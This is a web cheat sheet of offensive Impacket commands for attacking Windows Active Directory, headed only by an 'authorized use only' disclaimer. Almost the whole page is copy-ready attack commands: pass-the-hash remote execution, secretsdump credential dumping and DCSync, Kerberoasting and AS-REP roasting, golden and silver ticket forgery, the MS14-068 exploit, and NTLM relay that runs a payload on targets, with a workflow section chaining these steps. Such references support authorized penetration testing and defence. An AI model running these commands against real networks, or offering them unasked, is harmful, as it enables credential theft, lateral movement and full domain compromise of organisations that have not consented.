← All cheat sheets

IMPACKET

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Impacket is a collection of Python classes for working with network protocols.
Essential for Active Directory attacks and lateral movement.

AUTHENTICATION FORMATS#

# Username formats
domain/user:password
domain/user:password@target
user:password@target
domain/user@target -hashes LMHASH:NTHASH
domain/user@target -hashes :NTHASH
domain/user@target -k -no-pass          # Kerberos (ccache)
domain/user@target -aesKey KEY          # Kerberos AES

REMOTE EXECUTION#


    

PSEXEC.PY#

# Execute commands via SMB (creates service)
psexec.py domain/user:password@target
psexec.py domain/user:password@target cmd.exe
psexec.py domain/user@target -hashes :NTHASH
psexec.py -k -no-pass domain/user@target    # Kerberos

# Specify share
psexec.py domain/user:password@target -path C:\Windows\Temp

SMBEXEC.PY#

# Execute commands via SMB (no binary upload)
smbexec.py domain/user:password@target
smbexec.py domain/user@target -hashes :NTHASH

# Specify share
smbexec.py domain/user:password@target -share ADMIN$

WMIEXEC.PY#

# Execute commands via WMI
wmiexec.py domain/user:password@target
wmiexec.py domain/user:password@target "whoami"
wmiexec.py domain/user@target -hashes :NTHASH

# No output (blind)
wmiexec.py domain/user:password@target -nooutput "command"

ATEXEC.PY#

# Execute commands via Task Scheduler
atexec.py domain/user:password@target "command"
atexec.py domain/user@target -hashes :NTHASH "whoami"

DCOMEXEC.PY#

# Execute via DCOM
dcomexec.py domain/user:password@target
dcomexec.py domain/user:password@target -object MMC20
dcomexec.py domain/user:password@target -object ShellWindows
dcomexec.py domain/user:password@target -object ShellBrowserWindow

CREDENTIAL EXTRACTION#


    

SECRETSDUMP.PY#

# Dump secrets from target
secretsdump.py domain/user:password@target
secretsdump.py domain/user@target -hashes :NTHASH

# Dump specific secrets
secretsdump.py domain/user:password@target -just-dc          # DCSync only
secretsdump.py domain/user:password@target -just-dc-ntlm     # NTLM only
secretsdump.py domain/user:password@target -just-dc-user USER # Specific user

# From local files
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Output formats
secretsdump.py domain/user:password@target -outputfile hashes

MIMIKATZ.PY (via secretsdump)#

# Built into secretsdump for LSA secrets

SMB ENUMERATION#


    

SMBCLIENT.PY#

# Interactive SMB client
smbclient.py domain/user:password@target
smbclient.py domain/user@target -hashes :NTHASH

# Commands in shell:
# shares          - List shares
# use SHARE       - Connect to share
# ls              - List files
# cd DIR          - Change directory
# get FILE        - Download file
# put FILE        - Upload file
# cat FILE        - View file

SMBMAP#

# Map SMB shares (not Impacket but commonly used)
smbmap -H target -u user -p password -d domain
smbmap -H target -u user -p password -r SHARE

LOOKUPSID.PY#

# Enumerate domain SIDs and users
lookupsid.py domain/user:password@target
lookupsid.py domain/user:password@target 500-600    # Range
lookupsid.py domain/user@target -hashes :NTHASH

SAMRDUMP.PY#

# Dump SAM info via SAMR
samrdump.py domain/user:password@target

REG.PY#

# Remote registry operations
reg.py domain/user:password@target query -keyName HKLM\\SOFTWARE
reg.py domain/user:password@target add -keyName "HKLM\\SOFTWARE\\Test" -v "Value" -vt REG_SZ -vd "data"

KERBEROS ATTACKS#


    

GETTGT.PY#

# Request TGT
getTGT.py domain/user:password
getTGT.py domain/user -hashes :NTHASH
getTGT.py domain/user -aesKey KEY

# Save to ccache
export KRB5CCNAME=user.ccache
getTGT.py domain/user:password -dc-ip DC_IP

GETST.PY#

# Request service ticket
getST.py domain/user:password -spn cifs/target.domain.local
getST.py domain/user:password -spn cifs/target -impersonate Administrator
getST.py domain/user -hashes :NTHASH -spn cifs/target

GETNPUSERS.PY#

# AS-REP Roasting (no preauth users)
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -format hashcat
GetNPUsers.py domain/ -usersfile users.txt -format john
GetNPUsers.py domain/user -no-pass -dc-ip DC_IP

GETUSERSPNS.PY#

# Kerberoasting
GetUserSPNs.py domain/user:password -dc-ip DC_IP
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request -outputfile hashes.txt

TICKETER.PY#

# Create Kerberos tickets

# Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local Administrator

# Silver Ticket
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local Administrator

# Diamond Ticket (modify existing TGT)
ticketer.py -request -user user -password pass -domain domain.local -domain-sid S-1-5-21-... -nthash KRBTGT_HASH Administrator

RBCD ATTACK#

# Resource-Based Constrained Delegation
# Add computer to msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py domain/user:password -delegate-to TARGET$ -delegate-from ATTACKER$ -dc-ip DC_IP -action write

# Then get service ticket
getST.py domain/ATTACKER$:password -spn cifs/target.domain.local -impersonate Administrator

GOLDENPACC.PY#

# MS14-068 exploit
goldenPac.py domain/user:password@target

LDAP OPERATIONS#


    

LDAPSEARCH#

# Impacket ldap tools
ldapdomaindump domain/user:password@DC_IP
ldapdomaindump domain/user@DC_IP -hashes :NTHASH

GETADUSERS.PY#

# Enumerate AD users
GetADUsers.py domain/user:password -dc-ip DC_IP -all
GetADUsers.py domain/user:password -dc-ip DC_IP -all -csv

FINDELEGATION.PY#

# Find delegation settings
findDelegation.py domain/user:password -dc-ip DC_IP

NETWORK ATTACKS#


    

NTLMRELAYX.PY#

# NTLM relay attack
ntlmrelayx.py -t smb://target
ntlmrelayx.py -t ldap://DC_IP
ntlmrelayx.py -tf targets.txt
ntlmrelayx.py -t smb://target -smb2support
ntlmrelayx.py -t smb://target -e payload.exe
ntlmrelayx.py -t ldap://DC_IP --escalate-user USER

# With SOCKs proxy
ntlmrelayx.py -tf targets.txt -socks -smb2support

RESPONDER (pair with ntlmrelayx)#

responder -I eth0 -rdwv

MITM6#

# IPv6 DNS takeover (pair with ntlmrelayx)
mitm6 -d domain.local

KARMADECOY.PY#

# Capture credentials via fake AP

SNIFFING#


    

SNIFF.PY#

# Packet sniffing (requires root)
sniff.py -i eth0

DPAPI SECRETS#


    

DPAPI.PY#

# Decrypt DPAPI blobs
dpapi.py unprotect -file blob.bin -key KEY

MISC TOOLS#


    

ADDCOMPUTER.PY#

# Add computer to domain
addcomputer.py domain/user:password -computer-name NEWPC$ -computer-pass Password123

CHANGEPASSWD.PY#

# Change user password
changepasswd.py domain/user:oldpass@target -newpass newpass

GETARCH.PY#

# Get target architecture
getArch.py -target target

RPCDUMP.PY#

# Dump RPC endpoints
rpcdump.py domain/user:password@target

SERVICES.PY#

# Manage services remotely
services.py domain/user:password@target list
services.py domain/user:password@target start ServiceName
services.py domain/user:password@target create ServiceName binPath

KERBEROS CONFIG#

# /etc/krb5.conf for Kerberos auth
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc.domain.local
        admin_server = dc.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

# Use ccache
export KRB5CCNAME=/path/to/ticket.ccache

COMMON WORKFLOWS#

# Enumerate users
GetADUsers.py domain/user:password -dc-ip DC_IP -all

# Kerberoast
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request

# AS-REP Roast
GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# DCSync
secretsdump.py domain/admin:password@DC_IP -just-dc

# PTH execution
psexec.py domain/admin@target -hashes :NTHASH

# NTLM Relay
ntlmrelayx.py -tf targets.txt -smb2support

QUICK REFERENCE#

psexec.py     Remote execution (SMB, creates service)
wmiexec.py    Remote execution (WMI, cleaner)
smbexec.py    Remote execution (SMB, no binary)
atexec.py     Remote execution (Task Scheduler)
secretsdump.py   Dump credentials
GetUserSPNs.py   Kerberoasting
GetNPUsers.py    AS-REP Roasting
getTGT.py        Get Kerberos TGT
getST.py         Get service ticket
ntlmrelayx.py    NTLM relay
smbclient.py     SMB client
lookupsid.py     SID enumeration